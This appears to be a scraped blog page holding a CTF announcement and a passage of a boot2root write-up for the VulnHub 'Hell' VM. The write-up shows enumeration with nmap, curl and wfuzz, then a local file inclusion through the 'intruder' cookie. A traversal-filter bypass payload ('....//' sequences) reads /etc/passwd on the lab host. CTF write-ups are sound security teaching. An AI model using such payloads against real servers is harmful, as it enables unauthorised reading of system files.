\u003ccode\u003e/root/flag.txt\u003c/code\u003e. This is the path I took to read the flag and gain root command execution. Enjoy!\u003c/p\u003e","title":"Beating Xerxes2"},{"content":"  TL;DR I made a CTF! You should try it! Find it on Vulnhub\nforeword So, security CTF\u0026rsquo;s are fun. A lot of fun. And can be one heck of a time sink! Checking my laptops time and realizing its 3am on a week night is normal when I get pulled into one. The frustration, the trolls, the tremendous amounts of learning is all part of the experience of a successful CTF in my opinion.\npreparation Having done a few now with varying degrees of success has inspired me to attempt to do the same. So, off I went to CTF island and came back a weekend later with \u0026ldquo;Flick\u0026rdquo;. There is no real meaning to \u0026ldquo;Flick\u0026rdquo;. In fact, the name is the result of: \u0026ldquo;What can I call it?\u0026rdquo; \u0026lt; insert 5u seconds \u0026gt; \u0026ldquo;Flick?\u0026rdquo;.\ndetails \u0026ldquo;Flick\u0026rdquo; aims to give you chance to learn something new. While some things may be trivial for the seasoned penetration tester by day, there may also be one or two things to learn.\nAs far as hints go, there is not much to give in the beginning. You have to find the flag.txt. It is possible to read it without having root command execution, however, as a added challenge, can you get root command execution? :)\nsummary I look forward to hearing your experiences with it and good luck! You can find me in #vulnhub on freenode or on twitter @leonjza\n","permalink":"https://leonjza.github.io/blog/2014/08/07/flick-can-you-find-the-flag/","summary":"\u003cfigure\u003e\n    \u003cimg loading=\"lazy\" src=\"/images/flick_logo.png\"/\u003e \n\u003c/figure\u003e\n\n\u003ch3 id=\"tldr\"\u003eTL;DR\u003c/h3\u003e\n\u003cp\u003eI made a CTF! You should try it! Find it \u003ca href=\"http://vulnhub.com/entry/flick-1,99/\"\u003eon Vulnhub\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"foreword\"\u003eforeword\u003c/h2\u003e\n\u003cp\u003eSo, security CTF\u0026rsquo;s are fun. A lot of fun. And can be one heck of a time sink! Checking my laptops time and realizing its 3am on a week night is normal when I get pulled into one. The frustration, the trolls, the tremendous amounts of learning is all part of the experience of a successful CTF in my opinion.\u003c/p\u003e","title":"flick can you find the flag?"},{"content":"##foreword Lets start by saying that this is probably one of the toughest boot2root\u0026rsquo;s I have tried thus far. Even though I have managed to get /root/flag.txt, I am yet to actually root this beast. I believe I have arguably come quite far and there is only one hurdle left, however, almost 3 days later I have learnt a TON of stuff, and am satisfied to start jotting the experience down. Obviously, should I finally get root, I\u0026rsquo;ll update here and reflect. This is also a relatively long post as there were a ton of things to do. Give yourself some time if you plan on reading the whole post :)\nwelcome to hell Hell is another vulnerable VM hosted at @VulnHub. After recently completing the SkyTower Vulnerable VM, I was feeling up to the challenge of a potentially more challenging VM. And boy, was it challenging\u0026hellip; The wife was away on a girls weekend out, so I had plenty of time to sit and really think about things without distractions.\nthe usual first steps So, like most other CTF type VM\u0026rsquo;s, the natural first approach is to get the VM up and running, get the network connected and fire off a NMAP port scan to see what we got. I decided to use a Kali Linux VM to attack this vulnerableVM. The IP for the Hell VM was 192.168.56.102:\nroot@kali:~# nmap --reason 192.168.56.102 Starting Nmap 6.46 ( http://nmap.org ) at 2014-07-20 19:15 SAST Nmap scan report for 192.168.56.102 Host is up, received reset (0.00025s latency). Not shown: 996 filtered ports Reason: 996 no-responses PORT STATE SERVICE REASON 22/tcp open ssh syn-ack 80/tcp open http syn-ack 111/tcp open rpcbind syn-ack 666/tcp open doom syn-ack Nmap done: 1 IP address (1 host up) scanned in 4.38 seconds So tcp/22, tcp/80 (kinda expected that), tcp/111 and then the first whaaat moment, tcp/666.\npoking around The tcp/666 was the first unusual thing so I decided to check this out first. A telnet to 192.168.56.102 on port 666 resulted in:\nroot@kali:~# telnet 192.168.56.102 666 Trying 192.168.56.102... Connected to 192.168.56.102. Escape character is \u0026#39;^]\u0026#39;. Welcome to the Admin Panel Archiving latest version on webserver (echoserver.bak)... Starting echo server and monitoring... ping ping pong pong ^]quit telnet\u0026gt; quit Connection closed. The line \u0026lsquo;Archiving latest version on webserver (echoserver.bak)\u0026hellip;' hints towards the fact that we may be able to get this server software via the webserver. Other than that, the session appears to simply echo whatever I input. I toyed around with random inputs but the echoserver did not appear to be too upset about.\nthe echo server From the banner received with the service running on tcp/666, I browsed to the webserver root and made a request to echoserver.bak:\nroot@kali:~# curl \u0026#34;http://192.168.56.102/echoserver.bak\u0026#34; \u0026gt; echoserver.bak % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 7846 100 7846 0 0 1290k 0 --:--:-- --:--:-- --:--:-- 1532k root@kali:~# file echoserver.bak echoserver.bak: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26, BuildID[sha1]=0xccc6d0e8b14d50e98b07025d5eb9e496a22a8e10, not stripped Now I will admit, this file kept me busy for a very long time. One would try something, google something, try something, goole something, just to get sucked in and lost in a never ending tunnel of binary exploitation \u0026amp; analysis. To sum up, one would start the echo server up locally, which opens a socket on tcp/666. I\u0026rsquo;d then telnet to 127.0.0.1:666 and fuzz. Running the echoserver with a strace, one will notice the server \u0026lsquo;dying\u0026rsquo; when a socket is closed:\nbind(3, {sa_family=AF_INET, sin_port=htons(666), sin_addr=inet_addr(\u0026#34;0.0.0.0\u0026#34;)}, 16) = 0 listen(3, 10) = 0 accept(3, 0, NULL) = 4 read(4, \u0026#34;test\\r\\n\u0026#34;, 2000) = 6 write(4, \u0026#34;test\\r\\n\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\u0026#34;..., 1500) = 1500 read(4, \u0026#34;\u0026#34;, 2000) = 0 write(4, \u0026#34;\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\u0026#34;..., 1500) = 1500 read(4, \u0026#34;\u0026#34;, 2000) = 0 write(4, \u0026#34;\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\u0026#34;..., 1500) = -1 EPIPE (Broken pipe) --- SIGPIPE (Broken pipe) @ 0 (0) --- +++ killed by SIGPIPE +++ Eventually I decided to leave the echoserver alone and move on to the web server.\nthe web server Web hacking is generally more familiar for me. Initially the web server did not reveal anything interesting. That is until you view the robots.txt:\nroot@kali:~# curl http://192.168.56.102/robots.txt User-agent: * Disallow: /personal/ Disallow: /super_secret_login_path_muhahaha/ The folder personal/ had a g0tmi1lk (founder of VulnHub) fansite detailing that it is being built by Jack and will be live soon. Other than that, nothing particularly interesting. super_secret_login_path_muhahaha however, presented us with a login portal with a title Admin.\nThe login form posted to login.php, and on failure would 302 to: http://192.168.56.102/super_secret_login_path_muhahaha/index.php?the_user_is_a_failure=1. Fuzzing the_user_is_a_failure simply appeared to flip the Login Failed message. Manual and automated test with sqlmap also failed. Sooo, it was time to enumerate some more.\nThe next move was to fuzz more directories and maybe some interesting files. I decided on wfuzz for this. I used the medium wordlist for the sake of time, and tried for some folders and files in both the known and unknown directories:\nroot@kali:~# wfuzz -c -z file,/usr/share/wordlists/wfuzz/general/big.txt --hc 404 http://192.168.56.102/super_secret_login_path_muhahaha/FUZZ ******************************************************** * Wfuzz 2.0 - The Web Bruteforcer * ******************************************************** Target: http://192.168.56.102/super_secret_login_path_muhahaha/FUZZ Payload type: file,/usr/share/wordlists/wfuzz/general/big.txt Total requests: 3036 ================================================================== ID Response Lines Word Chars Request ================================================================== 00013: C=200 7 L 11 W 88 Ch \u0026#34; - 1\u0026#34; 02780: C=200 5606 L 35201 W 1028165 Ch \u0026#34; - server\u0026#34; Adding .php to the end of my fuzz keyword revealed some more interesting files:\nroot@kali:~# wfuzz -c -z file,/usr/share/wordlists/wfuzz/general/big.txt --hc 404 http://192.168.56.102/super_secret_login_path_muhahaha/FUZZ.php ******************************************************** * Wfuzz 2.0 - The Web Bruteforcer * ******************************************************** Target: http://192.168.56.102/super_secret_login_path_muhahaha/FUZZ.php Payload type: file,/usr/share/wordlists/wfuzz/general/big.txt Total requests: 3036 ================================================================== ID Response Lines Word Chars Request ================================================================== 01375: C=200 17 L 33 W 371 Ch \u0026#34; - index\u0026#34; 01663: C=302 0 L 0 W 0 Ch \u0026#34; - login\u0026#34; 01684: C=200 5 L 19 W 163 Ch \u0026#34; - mail\u0026#34; 02009: C=302 21 L 38 W 566 Ch \u0026#34; - panel\u0026#34; 02076: C=302 17 L 35 W 387 Ch \u0026#34; - personal\u0026#34; 02439: C=200 7 L 21 W 170 Ch \u0026#34; - server\u0026#34; 02852: C=200 2 L 2 W 19 Ch \u0026#34; - users\u0026#34; So this gives us slightly more to work with. All of the above are relative to super_secret_login_path_muhahaha. /1 was a big red INTRUDER ALERT message, and /server was a gif of a server rack falling over.\nFrom the .php file side of things, it was slightly more interesting.\n302 content anyone? I was already aware of index.php as well as login.php due to the root of the login directory revealing this. The rest of the items I browsed using the Iceweasal browser in Kali Linux. The results were:\n mail.php was a page showing us that we have received 2 emails, and that the \u0026lsquo;firewall\u0026rsquo; is activated. There was also what I think is a spam filtering dog gif ;) panel.php simply redirected you back to index.php. Assuming there is a auth requirement here. personal.php also simply redirected you back to index.php. Again, assuming a auth requirement. server.php had the gif we saw in /server with some humorous test with it. Nothing really of interest. users.php just returned the words Jack. This is the same user mentioned in the shrine page from /personal/.  Due to these auth requirements, I decided to take all of these url\u0026rsquo;s to curl, and inspect the cookies, headers etc. that were being sent around. Maybe this will hint towards something useful. The command used for the investigations was:\nroot@kali:~# curl -L -v http://192.168.56.102/super_secret_login_path_muhahaha/index.php -c cookies -b cookies \u0026lt;HTML\u0026gt; \u0026lt;FORM name=\u0026#34;login\u0026#34; method=\u0026#34;post\u0026#34; action=\u0026#34;login.php\u0026#34;\u0026gt; \u0026lt;CENTER\u0026gt; \u0026lt;H1\u0026gt; Admin \u0026lt;/H1\u0026gt; \u0026lt;H3\u0026gt; \u0026lt;STRONG\u0026gt;Username:\u0026lt;/STRONG\u0026gt; \u0026lt;INPUT name=\u0026#34;username\u0026#34; id=\u0026#34;username\u0026#34; type=\u0026#34;text\u0026#34; value=\u0026#34;\u0026#34;/\u0026gt; \u0026lt;BR\u0026gt; \u0026lt;BR\u0026gt; \u0026lt;STRONG\u0026gt;Password:\u0026lt;/STRONG\u0026gt; \u0026lt;INPUT name=\u0026#34;password\u0026#34; id=\u0026#34;password\u0026#34; type=\u0026#34;password\u0026#34; value=\u0026#34;\u0026#34;/\u0026gt; \u0026lt;BR\u0026gt; \u0026lt;BR\u0026gt; \u0026lt;INPUT name=\u0026#34;mysubmit\u0026#34; id=\u0026#34;mysubmit\u0026#34; type=\u0026#34;submit\u0026#34; value=\u0026#34;Login\u0026#34;/\u0026gt; \u0026lt;/H3\u0026gt; \u0026lt;/HTML\u0026gt; Here I am telling curl to make a GET request to http://192.168.56.102/super_secret_login_path_muhahaha/index.php, using a cookies file called cookies when making the request (-b flag), and storing any cookies received in the same file (-c flag). I am also telling it to follow redirects in the case of 302\u0026rsquo;s, and be verbose with output so that I can see the headers. Requesting index.php resulted in a cookie jar of:\nroot@kali:~# cat cookies # Netscape HTTP Cookie File # http://curl.haxx.se/rfc/cookie_spec.html # This file was generated by libcurl! Edit at your own risk. 192.168.56.102 FALSE / FALSE 0 PHPSESSID 8u300rbb0747fi6iocm0lt4310 Great. So I used this on all of the enumerated scripts, carefully checking for anything that would stand out. This part definitely took me some time to realize, but I finally saw the gem when I made a request to personal.php:\nroot@kali:~# curl -v -L http://192.168.56.102/super_secret_login_path_muhahaha/personal.php -c cookies -b cookies * About to connect() to 192.168.56.102 port 80 (#0) * Trying 192.168.56.102... * connected * Connected to 192.168.56.102 (192.168.56.102) port 80 (#0) \u0026gt; GET /super_secret_login_path_muhahaha/personal.php HTTP/1.1 \u0026gt; User-Agent: curl/7.26.0 \u0026gt; Host: 192.168.56.102 \u0026gt; Accept: */* \u0026gt; Cookie: PHPSESSID=8u300rbb0747fi6iocm0lt4310 \u0026gt; * HTTP 1.1 or later with persistent connection, pipelining supported \u0026lt; HTTP/1.1 302 Found \u0026lt; Date: Sun, 20 Jul 2014 07:48:17 GMT \u0026lt; Server: Apache/2.2.22 (Debian) \u0026lt; X-Powered-By: PHP/5.4.4-14+deb7u11 \u0026lt; Expires: Thu, 19 Nov 1981 08:52:00 GMT \u0026lt; Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 \u0026lt; Pragma: no-cache \u0026lt; Location: index.php \u0026lt; Vary: Accept-Encoding \u0026lt; Content-Length: 387 \u0026lt; Content-Type: text/html \u0026lt; * Ignoring the response-body # WAIT A SEC... * Connection #0 to host 192.168.56.102 left intact * Issue another request to this URL: \u0026#39;http://192.168.56.102/super_secret_login_path_muhahaha/index.php\u0026#39; * Re-using existing connection! (#0) with host (nil) * Connected to (nil) (192.168.56.102) port 80 (#0) \u0026gt; GET /super_secret_login_path_muhahaha/index.php HTTP/1.1 Look at line 25. Ignoring the request-body. But we got a 302? Ok lets make another request without the -L flag and check if it reveals anything:\nroot@kali:~# curl -v http://192.168.56.102/super_secret_login_path_muhahaha/personal.php -c cookies -b cookies * About to connect() to 192.168.56.102 port 80 (#0) * Trying 192.168.56.102... * connected * Connected to 192.168.56.102 (192.168.56.102) port 80 (#0) \u0026gt; GET /super_secret_login_path_muhahaha/personal.php HTTP/1.1 \u0026gt; User-Agent: curl/7.26.0 \u0026gt; Host: 192.168.56.102 \u0026gt; Accept: */* \u0026gt; Cookie: PHPSESSID=8u300rbb0747fi6iocm0lt4310 \u0026gt; * HTTP 1.1 or later with persistent connection, pipelining supported \u0026lt; HTTP/1.1 302 Found \u0026lt; Date: Sun, 20 Jul 2014 07:54:07 GMT \u0026lt; Server: Apache/2.2.22 (Debian) \u0026lt; X-Powered-By: PHP/5.4.4-14+deb7u11 \u0026lt; Expires: Thu, 19 Nov 1981 08:52:00 GMT \u0026lt; Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 \u0026lt; Pragma: no-cache \u0026lt; Location: index.php \u0026lt; Vary: Accept-Encoding \u0026lt; Content-Length: 387 \u0026lt; Content-Type: text/html \u0026lt; \u0026lt;HTML\u0026gt; \u0026lt;FORM name=\u0026#34;login\u0026#34; method=\u0026#34;post\u0026#34; action=\u0026#34;check.php\u0026#34;\u0026gt; \u0026lt;CENTER\u0026gt; \u0026lt;H1\u0026gt; Personal Folder Login \u0026lt;/H1\u0026gt; \u0026lt;H3\u0026gt; \u0026lt;STRONG\u0026gt;Username:\u0026lt;/STRONG\u0026gt; \u0026lt;INPUT name=\u0026#34;username\u0026#34; id=\u0026#34;username\u0026#34; type=\u0026#34;text\u0026#34; value=\u0026#34;\u0026#34;/\u0026gt; \u0026lt;BR\u0026gt; \u0026lt;BR\u0026gt; \u0026lt;STRONG\u0026gt;Password:\u0026lt;/STRONG\u0026gt; \u0026lt;INPUT name=\u0026#34;password\u0026#34; id=\u0026#34;password\u0026#34; type=\u0026#34;password\u0026#34; value=\u0026#34;\u0026#34;/\u0026gt; \u0026lt;BR\u0026gt; \u0026lt;BR\u0026gt; \u0026lt;INPUT name=\u0026#34;mysubmit\u0026#34; id=\u0026#34;mysubmit\u0026#34; type=\u0026#34;submit\u0026#34; value=\u0026#34;Login\u0026#34;/\u0026gt; \u0026lt;/H3\u0026gt; \u0026lt;/HTML\u0026gt; * Connection #0 to host 192.168.56.102 left intact * Closing connection #0 Well what do you know. We get a 302 and content. This time we have a login form that posts to check.php. A GET request to check.php resulted in a 302, but to personal.php and not index.php.\npanel.php had similar behavior. Showing content even though we got a 302. The output for panel.php:\n\u0026lt;HTML\u0026gt; \u0026lt;CENTRE\u0026gt; \u0026lt;H2\u0026gt; Folders \u0026lt;/H2\u0026gt; \u0026lt;TABLE style=\u0026#34;width:700px\u0026#34; align=\u0026#34;center\u0026#34;\u0026gt; \u0026lt;TR\u0026gt; \u0026lt;TD\u0026gt;\u0026lt;A HREF=\u0026#34;server.php\u0026#34;\u0026gt;\u0026lt;IMG SRC=\u0026#39;folder.png\u0026#39;\u0026gt;\u0026lt;/A\u0026gt;\u0026lt;/TD\u0026gt; \u0026lt;TD\u0026gt;\u0026lt;A HREF=\u0026#34;mail.php\u0026#34;\u0026gt;\u0026lt;IMG SRC=\u0026#39;folder.png\u0026#39;\u0026gt;\u0026lt;/A\u0026gt;\u0026lt;/TD\u0026gt; \u0026lt;TD\u0026gt;\u0026lt;A HREF=\u0026#34;users.php\u0026#34;\u0026gt;\u0026lt;IMG SRC=\u0026#39;folder.png\u0026#39;\u0026gt;\u0026lt;/A\u0026gt;\u0026lt;/TD\u0026gt; \u0026lt;TD\u0026gt;\u0026lt;A HREF=\u0026#34;personal.php\u0026#34;\u0026gt;\u0026lt;IMG SRC=\u0026#39;folder.png\u0026#39;\u0026gt;\u0026lt;/A\u0026gt;\u0026lt;/TD\u0026gt; \u0026lt;TD\u0026gt;\u0026lt;A HREF=\u0026#34;notes.php\u0026#34;\u0026gt;\u0026lt;IMG SRC=\u0026#39;folder.png\u0026#39;\u0026gt;\u0026lt;/A\u0026gt;\u0026lt;/TD\u0026gt; \u0026lt;/TR\u0026gt; \u0026lt;TR\u0026gt; \u0026lt;TD\u0026gt;\u0026lt;H4\u0026gt;Server Status\u0026lt;/H4\u0026gt;\u0026lt;/TD\u0026gt; \u0026lt;TD\u0026gt;\u0026lt;H4\u0026gt;Mail Status\u0026lt;/H4\u0026gt;\u0026lt;/TD\u0026gt; \u0026lt;TD\u0026gt;\u0026lt;H4\u0026gt;Auth Users\u0026lt;/H4\u0026gt;\u0026lt;/TD\u0026gt; \u0026lt;TD\u0026gt;\u0026lt;H4\u0026gt;Personal Folder\u0026lt;/H4\u0026gt;\u0026lt;/TD\u0026gt; \u0026lt;TD\u0026gt;\u0026lt;H4\u0026gt;Notes\u0026lt;/H4\u0026gt;\u0026lt;/TD\u0026gt; \u0026lt;/TR\u0026gt; \u0026lt;/CENTRE\u0026gt; \u0026lt;/HTML\u0026gt; Here we have another script, notes.php revealed. Browsing to notes.php, we are presented with a input field with a Write Note button, and a message stating: \u0026ldquo;note.txt stored to temporary storage upon submission\u0026rdquo;. I guessed this temporary storage is most probably /tmp. Posting to notes.php did not yield any input and I figured this was part of something to come later.\nfinding the web vuln Ok we have come this far and you still reading? :O Just a little more and all will be revealed I promise.\nBack to check.php, it was time to check for any potential SQL injection on the post to check.php from the login form. Nope. Nothing like that. However, while messing around I noticed that this script was setting a new cookie failcount. failcount would increment with every incorrect login to check.php. After 3 failed attempts, another cookie called intruder was set:\nAdded cookie intruder=\u0026#34;1\u0026#34; for domain 192.168.56.102, path /super_secret_login_path_muhahaha/, expire 0 \u0026gt; Cookie: intruder=1; failcount=4; PHPSESSID=8u300rbb0747fi6iocm0lt4310 Again I will admit this did not jump right out at me. In fact it took quite a few more requests to finally puzzle it together. However, I finally nailed it when a request without the -L (follow redirects) flag was set for panel.php:\n\u0026lt;HTML\u0026gt; \u0026lt;CENTRE\u0026gt; \u0026lt;H2\u0026gt; Folders \u0026lt;/H2\u0026gt; \u0026lt;TABLE style=\u0026#34;width:700px\u0026#34; align=\u0026#34;center\u0026#34;\u0026gt; \u0026lt;TR\u0026gt; \u0026lt;TD\u0026gt;\u0026lt;A HREF=\u0026#34;server.php\u0026#34;\u0026gt;\u0026lt;IMG SRC=\u0026#39;folder.png\u0026#39;\u0026gt;\u0026lt;/A\u0026gt;\u0026lt;/TD\u0026gt; \u0026lt;TD\u0026gt;\u0026lt;A HREF=\u0026#34;mail.php\u0026#34;\u0026gt;\u0026lt;IMG SRC=\u0026#39;folder.png\u0026#39;\u0026gt;\u0026lt;/A\u0026gt;\u0026lt;/TD\u0026gt; \u0026lt;TD\u0026gt;\u0026lt;A HREF=\u0026#34;users.php\u0026#34;\u0026gt;\u0026lt;IMG SRC=\u0026#39;folder.png\u0026#39;\u0026gt;\u0026lt;/A\u0026gt;\u0026lt;/TD\u0026gt; \u0026lt;TD\u0026gt;\u0026lt;A HREF=\u0026#34;personal.php\u0026#34;\u0026gt;\u0026lt;IMG SRC=\u0026#39;folder.png\u0026#39;\u0026gt;\u0026lt;/A\u0026gt;\u0026lt;/TD\u0026gt; \u0026lt;TD\u0026gt;\u0026lt;A HREF=\u0026#34;notes.php\u0026#34;\u0026gt;\u0026lt;IMG SRC=\u0026#39;folder.png\u0026#39;\u0026gt;\u0026lt;/A\u0026gt;\u0026lt;/TD\u0026gt; \u0026lt;/TR\u0026gt; \u0026lt;TR\u0026gt; \u0026lt;TD\u0026gt;\u0026lt;H4\u0026gt;Server Status\u0026lt;/H4\u0026gt;\u0026lt;/TD\u0026gt; \u0026lt;TD\u0026gt;\u0026lt;H4\u0026gt;Mail Status\u0026lt;/H4\u0026gt;\u0026lt;/TD\u0026gt; \u0026lt;TD\u0026gt;\u0026lt;H4\u0026gt;Auth Users\u0026lt;/H4\u0026gt;\u0026lt;/TD\u0026gt; \u0026lt;TD\u0026gt;\u0026lt;H4\u0026gt;Personal Folder\u0026lt;/H4\u0026gt;\u0026lt;/TD\u0026gt; \u0026lt;TD\u0026gt;\u0026lt;H4\u0026gt;Notes\u0026lt;/H4\u0026gt;\u0026lt;/TD\u0026gt; \u0026lt;/TR\u0026gt; \u0026lt;/CENTRE\u0026gt; \u0026lt;HTML\u0026gt; \u0026lt;CENTER\u0026gt; \u0026lt;FONT COLOR = \u0026#34;RED\u0026#34;\u0026gt; \u0026lt;H1\u0026gt;INTRUDER ALERT!\u0026lt;/H1\u0026gt; \u0026lt;/FONT\u0026gt; \u0026lt;/CENTER\u0026gt; \u0026lt;/HTML\u0026gt; \u0026lt;/HTML\u0026gt; Notice the familiar INTRUDER ALERT message? :) Also remember how this file was called /1 from the previous enumeration? Yep! File Include time! With us having a cookiejar file called cookies available for editing, it was easy to play around with this. The normal cookiejar had:\nroot@kali:~# cat cookies # Netscape HTTP Cookie File # http://curl.haxx.se/rfc/cookie_spec.html # This file was generated by libcurl! Edit at your own risk. 192.168.56.102 FALSE / FALSE 0 PHPSESSID 8u300rbb0747fi6iocm0lt4310 192.168.56.102 FALSE /super_secret_login_path_muhahaha/ FALSE 0 failcount 4 192.168.56.102 FALSE /super_secret_login_path_muhahaha/ FALSE 0 intruder 1 To test the file include, the first knee jerk reaction was to replace the 1 with /etc/passwd. This yielded no results, and immediately I feared failure and assumptions disappointing me. However, just to make sure, I replaced it again with something in the same path as /1, like mail.php:\nroot@kali:~# cat cookies # Netscape HTTP Cookie File # http://curl.haxx.se/rfc/cookie_spec.html # This file was generated by libcurl! Edit at your own risk. 192.168.56.102 FALSE / FALSE 0 PHPSESSID 8u300rbb0747fi6iocm0lt4310 192.168.56.102 FALSE /super_secret_login_path_muhahaha/ FALSE 0 failcount 4 192.168.56.102 FALSE /super_secret_login_path_muhahaha/ FALSE 0 intruder ./mail.php root@kali:~# curl http://192.168.56.102/super_secret_login_path_muhahaha/panel.php -c cookies -b cookies \u0026lt;HTML\u0026gt; \u0026lt;CENTRE\u0026gt; \u0026lt;H2\u0026gt; Folders \u0026lt;/H2\u0026gt; \u0026lt;TABLE style=\u0026#34;width:700px\u0026#34; align=\u0026#34;center\u0026#34;\u0026gt; \u0026lt;TR\u0026gt; \u0026lt;TD\u0026gt;\u0026lt;A HREF=\u0026#34;server.php\u0026#34;\u0026gt;\u0026lt;IMG SRC=\u0026#39;folder.png\u0026#39;\u0026gt;\u0026lt;/A\u0026gt;\u0026lt;/TD\u0026gt; \u0026lt;TD\u0026gt;\u0026lt;A HREF=\u0026#34;mail.php\u0026#34;\u0026gt;\u0026lt;IMG SRC=\u0026#39;folder.png\u0026#39;\u0026gt;\u0026lt;/A\u0026gt;\u0026lt;/TD\u0026gt; \u0026lt;TD\u0026gt;\u0026lt;A HREF=\u0026#34;users.php\u0026#34;\u0026gt;\u0026lt;IMG SRC=\u0026#39;folder.png\u0026#39;\u0026gt;\u0026lt;/A\u0026gt;\u0026lt;/TD\u0026gt; \u0026lt;TD\u0026gt;\u0026lt;A HREF=\u0026#34;personal.php\u0026#34;\u0026gt;\u0026lt;IMG SRC=\u0026#39;folder.png\u0026#39;\u0026gt;\u0026lt;/A\u0026gt;\u0026lt;/TD\u0026gt; \u0026lt;TD\u0026gt;\u0026lt;A HREF=\u0026#34;notes.php\u0026#34;\u0026gt;\u0026lt;IMG SRC=\u0026#39;folder.png\u0026#39;\u0026gt;\u0026lt;/A\u0026gt;\u0026lt;/TD\u0026gt; \u0026lt;/TR\u0026gt; \u0026lt;TR\u0026gt; \u0026lt;TD\u0026gt;\u0026lt;H4\u0026gt;Server Status\u0026lt;/H4\u0026gt;\u0026lt;/TD\u0026gt; \u0026lt;TD\u0026gt;\u0026lt;H4\u0026gt;Mail Status\u0026lt;/H4\u0026gt;\u0026lt;/TD\u0026gt; \u0026lt;TD\u0026gt;\u0026lt;H4\u0026gt;Auth Users\u0026lt;/H4\u0026gt;\u0026lt;/TD\u0026gt; \u0026lt;TD\u0026gt;\u0026lt;H4\u0026gt;Personal Folder\u0026lt;/H4\u0026gt;\u0026lt;/TD\u0026gt; \u0026lt;TD\u0026gt;\u0026lt;H4\u0026gt;Notes\u0026lt;/H4\u0026gt;\u0026lt;/TD\u0026gt; \u0026lt;/TR\u0026gt; \u0026lt;/CENTRE\u0026gt; \u0026lt;HTML\u0026gt; \u0026lt;H3\u0026gt; Email\u0026#39;s recieved in the last 24 hours: \u0026lt;/H3\u0026gt;2\u0026lt;BR\u0026gt; \u0026lt;H3\u0026gt; Current Status: Firewall Activated \u0026lt;/H3\u0026gt;\u0026lt;BR\u0026gt; \u0026lt;IMG SRC=\u0026#34;http://i.imgur.com/JjipeOj.gif\u0026#34;\u0026gt; \u0026lt;/HTML\u0026gt; \u0026lt;/HTML\u0026gt; YES. It does work! We have the same output added to the panel.php output as we would have if we browsed directly to mail.php. By now the assumption was that the code had something like:\nif ($_COOKIE[\u0026#39;intruder\u0026#39;]) { include($_COOKIE[\u0026#39;intruder\u0026#39;]); } \u0026hellip;with some kind of filtering preventing reading the /etc/passwd. While I was still pretty excited about finding this vuln, I soon came across this article detailing potential ways of bypassing directory traversal vulnerabilities. After reading this I promptly changed the intruder cookie to ....//....//....//....//....//etc/passwd and viola! :)\nroot@kali:~# cat cookies # Netscape HTTP Cookie File # http://curl.haxx.se/rfc/cookie_spec.html # This file was generated by libcurl! Edit at your own risk. 192.168.56.102 FALSE / FALSE 0 PHPSESSID 8u300rbb0747fi6iocm0lt4310 192.168.56.102 FALSE /super_secret_login_path_muhahaha/ FALSE 0 failcount 4 192.168.56.102 FALSE /super_secret_login_path_muhahaha/ FALSE 0 intruder ....//....//....//....//....//etc/passwd root@kali:~# curl http://192.168.56.102/super_secret_login_path_muhahaha/panel.php -c cookies -b cookies \u0026lt;HTML\u0026gt; \u0026lt;CENTRE\u0026gt; \u0026lt;H2\u0026gt; Folders \u0026lt;/H2\u0026gt; \u0026lt;TABLE style=\u0026#34;width:700px\u0026#34; align=\u0026#34;center\u0026#34;\u0026gt; \u0026lt;TR\u0026gt; \u0026lt;TD\u0026gt;\u0026lt;A HREF=\u0026#34;server.php\u0026#34;\u0026gt;\u0026lt;IMG SRC=\u0026#39;folder.png\u0026#39;\u0026gt;\u0026lt;/A\u0026gt;\u0026lt;/TD\u0026gt; \u0026lt;TD\u0026gt;\u0026lt;A HREF=\u0026#34;mail.php\u0026#34;\u0026gt;\u0026lt;IMG SRC=\u0026#39;folder.png\u0026#39;\u0026gt;\u0026lt;/A\u0026gt;\u0026lt;/TD\u0026gt; \u0026lt;TD\u0026gt;\u0026lt;A HREF=\u0026#34;users.php\u0026#34;\u0026gt;\u0026lt;IMG SRC=\u0026#39;folder.png\u0026#39;\u0026gt;\u0026lt;/A\u0026gt;\u0026lt;/TD\u0026gt; \u0026lt;TD\u0026gt;\u0026lt;A HREF=\u0026#34;personal.php\u0026#34;\u0026gt;\u0026lt;IMG SRC=\u0026#39;folder.png\u0026#39;\u0026gt;\u0026lt;/A\u0026gt;\u0026lt;/TD\u0026gt; \u0026lt;TD\u0026gt;\u0026lt;A HREF=\u0026#34;notes.php\u0026#34;\u0026gt;\u0026lt;IMG SRC=\u0026#39;folder.png\u0026#39;\u0026gt;\u0026lt;/A\u0026gt;\u0026lt;/TD\u0026gt; \u0026lt;/TR\u0026gt; \u0026lt;TR\u0026gt; \u0026lt;TD\u0026gt;\u0026lt;H4\u0026gt;Server Status\u0026lt;/H4\u0026gt;\u0026lt;/TD\u0026gt; \u0026lt;TD\u0026gt;\u0026lt;H4\u0026gt;Mail Status\u0026lt;/H4\u0026gt;\u0026lt;/TD\u0026gt; \u0026lt;TD\u0026gt;\u0026lt;H4\u0026gt;Auth Users\u0026lt;/H4\u0026gt;\u0026lt;/TD\u0026gt; \u0026lt;TD\u0026gt;\u0026lt;H4\u0026gt;Personal Folder\u0026lt;/H4\u0026gt;\u0026lt;/TD\u0026gt; \u0026lt;TD\u0026gt;\u0026lt;H4\u0026gt;Notes\u0026lt;/H4\u0026gt;\u0026lt;/TD\u0026gt; \u0026lt;/TR\u0026gt; \u0026lt;/CENTRE\u0026gt; root❌0:0:root:/root:/bin/bash daemon❌1:1:daemon:/usr/sbin:/bin/sh bin❌2:2:bin:/bin:/bin/sh sys❌3:3:sys:/dev:/bin/sh sync❌4:65534:sync:/bin:/bin/sync games❌5:60:games:/usr/games:/bin/sh man❌6:12:man:/var/cache/man:/bin/sh lp❌7:7:lp:/var/spool/lpd:/bin/sh mail❌8:8:mail:/var/mail:/bin/sh news❌9:9:news:/var/spool/news:/bin/sh uucp❌10:10:uucp:/var/spool/uucp:/bin/sh 